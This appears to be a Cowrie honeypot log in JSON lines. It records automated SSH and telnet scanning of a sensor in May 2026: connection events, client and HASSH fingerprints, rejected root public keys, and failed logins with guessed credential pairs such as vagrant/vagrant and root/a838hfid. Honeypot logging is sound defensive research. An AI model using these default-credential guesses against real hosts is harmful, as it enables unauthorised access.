{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:2c:fe:a7:22:eb:d0:e7:01:73:66:94:fc:71:c3:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXclWq9FvtVajsXBZLqUAFR6bVU4sjwVj3OPPkdBUHvvYr+mvf0vIWr4Xfwh2ekv7uIuUFPPMbKdNtgOloHw8XrUabmxcgNWVbKlK/P2xMX1+UaqcRfweCYRFx6xN69er9AY37ZeMpfx8AbiLBZSKrGlmS8TbNwt9G5LlMAwPdZKCWes7sVAMDoMVfW7ITBprVzsN4wDdPV7O67fjo8FJgGupkP5/4O/k5W207aImxPbGBgoNt3bNqtg48k+7Ta0V3e5d8i6k4s8+g7t32lvxtpfzMHEsAH+R+VlI6hJ3dRoYjsUZCLzbvqjnp/9MT2CMO/faieV6IT8f74QLHinzdYHuIMVxl75l+Y4Mq08ywNY6INOemyUgMZS+qW0rQdehc/TS7jLyPj3P1lnq/mdP1a8rjVeV9ZtkjJfJI/3JI6MsYWYhHUDPdlz6+mOywve2YdwhLm1zgcZQ3x1ELSi/4MymFt6ee5J8nvZOPcmD7Y2uYlC50ChuZ5EUibfCccSCSsOFKo590ixG6g/jMXJIVM/BN12K08A2XeiBcRIPsxzQTtimhigdnLpNTeFRD2LwvxBA6uV97L14hQmiHyQn1ADwfFMmh+2jWOWpdSGFwqVGmCsFEDu5y/F2W2wJeBt4J3aQcI/Z2VrWHErvCzKA1tVG8vMyMuXiaZFB0qxZyfw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:03.938766Z","src_ip":"184.154.194.183","session":"95b0397b8ee4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:15:92:fc:bd:05:e5:bc:4b:71:5f:cf:19:13:b6:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMbb1LneZEQWa8MMsdpSyp/8Bfo/H7RznC3Qcv1kXmgOsuYIITShXZBH9LaSNKWFKhh6ZNU2P90s5cRXWCQgGBzNU9J6ookcJVD2z+2tWXnDqT6UvNJvpLe/YX8hqaHz/V3NLYfa11AdX5r89qKC0/xMDB9VPY//mX6kf/NmbBGZotBLS553FbtyXBK1j55r0T8lTDZEKFLjBaDPoQ8OyDADNdWwBXpo7NC5VJzK6zjwtrIO4ThBXcqLkFoHZaw/WbmlsNw2Z98ErcZQgDiOauOg0gK0fe5lU0zeBjIzGviK4eXpX3OWN9bTAfw4Tnf4hZQF88lUYw5j5sOHCZomBd/Rb2bAJolVZ++nMilbviAHI1L3GwbUGbTBVSclIF3N+QC1dMhavhb7Ft8lfmpkSsmSz0o1ZHJaFNVkQbTNhYsWgMTooL3xQQ8IRKA0pHnrx0cnKVs9AE0K1aiLIjCnA7ura15+oVHgNSUiRu8H99QHJjq0ZkNwOtJWn1MtO8O+MxskQjhEfHzUEngtencfEJ0+sDD+xzjkvz91f93h2DFQBjWvZ1X8BqeGBcBLRFUn8RkdhycIYShD6eUuHK6AsmquLNFDklhq1vRhKifpp5EAgcXAYYe9VsKJwySNb2H3DiVg0T/F/W0lpar1eWWpOYEE6t4/nQTZv8oYlxywzx3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:15:92:fc:bd:05:e5:bc:4b:71:5f:cf:19:13:b6:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:03.970585Z","src_ip":"184.154.194.183","session":"95b0397b8ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:15:92:fc:bd:05:e5:bc:4b:71:5f:cf:19:13:b6:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMbb1LneZEQWa8MMsdpSyp/8Bfo/H7RznC3Qcv1kXmgOsuYIITShXZBH9LaSNKWFKhh6ZNU2P90s5cRXWCQgGBzNU9J6ookcJVD2z+2tWXnDqT6UvNJvpLe/YX8hqaHz/V3NLYfa11AdX5r89qKC0/xMDB9VPY//mX6kf/NmbBGZotBLS553FbtyXBK1j55r0T8lTDZEKFLjBaDPoQ8OyDADNdWwBXpo7NC5VJzK6zjwtrIO4ThBXcqLkFoHZaw/WbmlsNw2Z98ErcZQgDiOauOg0gK0fe5lU0zeBjIzGviK4eXpX3OWN9bTAfw4Tnf4hZQF88lUYw5j5sOHCZomBd/Rb2bAJolVZ++nMilbviAHI1L3GwbUGbTBVSclIF3N+QC1dMhavhb7Ft8lfmpkSsmSz0o1ZHJaFNVkQbTNhYsWgMTooL3xQQ8IRKA0pHnrx0cnKVs9AE0K1aiLIjCnA7ura15+oVHgNSUiRu8H99QHJjq0ZkNwOtJWn1MtO8O+MxskQjhEfHzUEngtencfEJ0+sDD+xzjkvz91f93h2DFQBjWvZ1X8BqeGBcBLRFUn8RkdhycIYShD6eUuHK6AsmquLNFDklhq1vRhKifpp5EAgcXAYYe9VsKJwySNb2H3DiVg0T/F/W0lpar1eWWpOYEE6t4/nQTZv8oYlxywzx3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:03.975182Z","src_ip":"184.154.194.183","session":"95b0397b8ee4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:53:10:56:7e:53:de:02:ec:76:91:1c:c1:51:9c:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTiq2P3TvPFKbCByMo/eC2zSm/AY/eQnp8uNfRgARuyou7C5gAuPzAx7cFhinG0OmvEBFHs/PmWYs1hHH8dXuitToW+ORDR87OtbyDE22MJtk1CFqDVZy4y9kfkZav5esro8qs/3hhMeSib1g05yjqTJd7F1fkf9pAChgYaHprv4Iu9mxf2VuP/AiZ9yAsOrVCX66cIV0KNs6Uk7laQaBGB8X4BkeOU3FP8sPZONcUpR8ega+xhgkxJIqeoC0JNB0VAl6nk0Dnc3tkOTjTvwEa8aSO8oWbvPi/wpg4j9kh4yVuF05uX+m0og7Esk9w8QFcR8PgAXLZfkjN21f2kWmN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:53:10:56:7e:53:de:02:ec:76:91:1c:c1:51:9c:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:04.010498Z","src_ip":"184.154.194.183","session":"95b0397b8ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:53:10:56:7e:53:de:02:ec:76:91:1c:c1:51:9c:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTiq2P3TvPFKbCByMo/eC2zSm/AY/eQnp8uNfRgARuyou7C5gAuPzAx7cFhinG0OmvEBFHs/PmWYs1hHH8dXuitToW+ORDR87OtbyDE22MJtk1CFqDVZy4y9kfkZav5esro8qs/3hhMeSib1g05yjqTJd7F1fkf9pAChgYaHprv4Iu9mxf2VuP/AiZ9yAsOrVCX66cIV0KNs6Uk7laQaBGB8X4BkeOU3FP8sPZONcUpR8ega+xhgkxJIqeoC0JNB0VAl6nk0Dnc3tkOTjTvwEa8aSO8oWbvPi/wpg4j9kh4yVuF05uX+m0og7Esk9w8QFcR8PgAXLZfkjN21f2kWmN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:04.014826Z","src_ip":"184.154.194.183","session":"95b0397b8ee4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:30:e2:34:0d:45:30:7a:bf:5c:8b:84:86:37:89:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzPZvnwHC9j+zkFwle9jbwxCFgENobU4Izu79hV4xIPXvzCjkAkcl9KRlOWfpiNL1+ls47uO+0oQ8HtJaYjihh3pbvJI7jd4/ronDVJxSI5z2YAAoqlBuszCqIDgeq5Ar+kDpiGO4Vg5vii5FpypZCnWrw/i12PAAQA37Qyzw4f0jvOfeJd3YSK4kEF/aQuI5QBWleidtP8fUcj0S/2GaRrmgYz2/1t1WlHgshD6FWtgFC5atkZbTVY+mTqRAUCvHRgLHWsinv5p2H6rMJrs2RlOuRQMQ3oGfbd4JV4qVzA16qo0YWu8OAaAZvFosV+tyBQoNOZ93rIeXTdGn0A0I7dwPnx8nhrZyGHoAeLSA8GD+BxKwXudCjZL5gAYMB6ri4GMjuotE9dmVqz4asYYycdPNvwnx0g/kt0pkbbljbFfLGfXwbZwdHkyksSVUM3BQFkMmFpqanmu80jkpZ/uE7fUdN5Pa1KCOxYqgipuJ1ErcQq871CNJN4voauX6Vte8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:30:e2:34:0d:45:30:7a:bf:5c:8b:84:86:37:89:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:04.101752Z","src_ip":"184.154.194.183","session":"95b0397b8ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:30:e2:34:0d:45:30:7a:bf:5c:8b:84:86:37:89:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzPZvnwHC9j+zkFwle9jbwxCFgENobU4Izu79hV4xIPXvzCjkAkcl9KRlOWfpiNL1+ls47uO+0oQ8HtJaYjihh3pbvJI7jd4/ronDVJxSI5z2YAAoqlBuszCqIDgeq5Ar+kDpiGO4Vg5vii5FpypZCnWrw/i12PAAQA37Qyzw4f0jvOfeJd3YSK4kEF/aQuI5QBWleidtP8fUcj0S/2GaRrmgYz2/1t1WlHgshD6FWtgFC5atkZbTVY+mTqRAUCvHRgLHWsinv5p2H6rMJrs2RlOuRQMQ3oGfbd4JV4qVzA16qo0YWu8OAaAZvFosV+tyBQoNOZ93rIeXTdGn0A0I7dwPnx8nhrZyGHoAeLSA8GD+BxKwXudCjZL5gAYMB6ri4GMjuotE9dmVqz4asYYycdPNvwnx0g/kt0pkbbljbFfLGfXwbZwdHkyksSVUM3BQFkMmFpqanmu80jkpZ/uE7fUdN5Pa1KCOxYqgipuJ1ErcQq871CNJN4voauX6Vte8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:04.105423Z","src_ip":"184.154.194.183","session":"95b0397b8ee4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:60:ac:6d:15:f8:78:54:16:fc:3e:04:c8:41:3e:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC83n3efga6xb2fRoalnHLfN2bJTf6Yn7nu6XR0eDMdQJ1uEipCZbQ/XkX6ofdMyr+WzYBqutTv3dOpO134Xic89G9TOjbIAdanZB4oByBQQedrQqsj57BZrPda+myJUAcKyoZXdfMIeNMXYbv5+6swNiUhj8XexQTqs/ng3h2Tnv3TdhmL9qtUwzaH3l/0VfkjH2oC9XXkAIskd8CBUIZpgTNmuw2N0TX3piuq6r5n1wqtmgH/rUnoDmeLLEYNIY8m8A6jX8IYsfB8F1r9qKb+//PmYzaJHY5QFCl7rKOhicmwoIQHbh1OWR3ALOaKsK24gCtrz/ltiwMy4keJCsp6O4SxaT1JRaW7f9I6Q6vEvEOPudU198c5EA4F4vOXajDj3zi0UjPX1frsajC/ZVdjlEmI90wgIkTyJpY2maU994BUU+qSLYz30R9W4zcgTiIU5rltcrKTs1tyVKF5W3AM96vMr87+k+b8Koz9T535Fv8y0kG3S/w1PkXuRSBHujUXOhFBCUb7ILexyBTK1enRJxGl5ZEyyfk8plHHne5ABWXs2hCmJw+tjYofQDXEcfa9BokgDqw2gHq/8eNzICHDHzwUy2oXpduAT4DEVE2mcuEhzkMwp3zSGKsekfrr0FFWgVr9Ay1rLLbiWjf2yuUlWVjtgKDbiY0JthhWFdnpAQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:60:ac:6d:15:f8:78:54:16:fc:3e:04:c8:41:3e:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:04.133808Z","src_ip":"184.154.194.183","session":"95b0397b8ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:60:ac:6d:15:f8:78:54:16:fc:3e:04:c8:41:3e:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC83n3efga6xb2fRoalnHLfN2bJTf6Yn7nu6XR0eDMdQJ1uEipCZbQ/XkX6ofdMyr+WzYBqutTv3dOpO134Xic89G9TOjbIAdanZB4oByBQQedrQqsj57BZrPda+myJUAcKyoZXdfMIeNMXYbv5+6swNiUhj8XexQTqs/ng3h2Tnv3TdhmL9qtUwzaH3l/0VfkjH2oC9XXkAIskd8CBUIZpgTNmuw2N0TX3piuq6r5n1wqtmgH/rUnoDmeLLEYNIY8m8A6jX8IYsfB8F1r9qKb+//PmYzaJHY5QFCl7rKOhicmwoIQHbh1OWR3ALOaKsK24gCtrz/ltiwMy4keJCsp6O4SxaT1JRaW7f9I6Q6vEvEOPudU198c5EA4F4vOXajDj3zi0UjPX1frsajC/ZVdjlEmI90wgIkTyJpY2maU994BUU+qSLYz30R9W4zcgTiIU5rltcrKTs1tyVKF5W3AM96vMr87+k+b8Koz9T535Fv8y0kG3S/w1PkXuRSBHujUXOhFBCUb7ILexyBTK1enRJxGl5ZEyyfk8plHHne5ABWXs2hCmJw+tjYofQDXEcfa9BokgDqw2gHq/8eNzICHDHzwUy2oXpduAT4DEVE2mcuEhzkMwp3zSGKsekfrr0FFWgVr9Ay1rLLbiWjf2yuUlWVjtgKDbiY0JthhWFdnpAQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:04.138271Z","src_ip":"184.154.194.183","session":"95b0397b8ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:04.167786Z","src_ip":"184.154.194.183","session":"95b0397b8ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":56034,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d8328d285c6","protocol":"ssh","message":"New connection: 43.153.65.139:56034 (10.17.0.5:22) [session: 2d8328d285c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:04.215787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:04.220621Z","src_ip":"43.153.65.139","session":"2d8328d285c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:04.290015Z","src_ip":"43.153.65.139","session":"2d8328d285c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"temp","password":"temp123456","message":"login attempt [temp/temp123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:04.596472Z","src_ip":"43.153.65.139","session":"2d8328d285c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.67842984199524,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:04.764055Z","src_ip":"152.42.224.71","session":"8bea08bf8dd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:05.669101Z","src_ip":"43.153.65.139","session":"2d8328d285c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49856,"dst_ip":"10.17.0.5","dst_port":22,"session":"33976f717a56","protocol":"ssh","message":"New connection: 83.168.110.85:49856 (10.17.0.5:22) [session: 33976f717a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:06.541127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:06.546745Z","src_ip":"83.168.110.85","session":"33976f717a56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:06.676321Z","src_ip":"83.168.110.85","session":"33976f717a56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:07.046488Z","src_ip":"83.168.110.85","session":"33976f717a56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:08.173100Z","src_ip":"83.168.110.85","session":"33976f717a56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42118,"dst_ip":"10.17.0.5","dst_port":23,"session":"87a01e6af852","protocol":"telnet","message":"New connection: 152.42.224.71:42118 (10.17.0.5:23) [session: 87a01e6af852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:21.790829Z"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":54860,"dst_ip":"10.17.0.5","dst_port":22,"session":"f873e7f854e5","protocol":"ssh","message":"New connection: 39.117.79.36:54860 (10.17.0.5:22) [session: f873e7f854e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:22.592989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:22.597662Z","src_ip":"39.117.79.36","session":"f873e7f854e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:22.788842Z","src_ip":"39.117.79.36","session":"f873e7f854e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.61206364631653,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:23.464445Z","src_ip":"152.42.224.71","session":"862d3f1f22c8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"123456","message":"login attempt [ftptest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:23.580913Z","src_ip":"39.117.79.36","session":"f873e7f854e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:24.777146Z","src_ip":"39.117.79.36","session":"f873e7f854e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":38710,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c413a5b5ae9","protocol":"ssh","message":"New connection: 103.183.114.55:38710 (159.203.135.109:22) [session: 1c413a5b5ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:26.599150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:26.604991Z","src_ip":"103.183.114.55","session":"1c413a5b5ae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:26.826161Z","src_ip":"103.183.114.55","session":"1c413a5b5ae9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a838hfid","message":"login attempt [root/a838hfid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:27.545442Z","src_ip":"103.183.114.55","session":"1c413a5b5ae9","protocol":"ssh"}
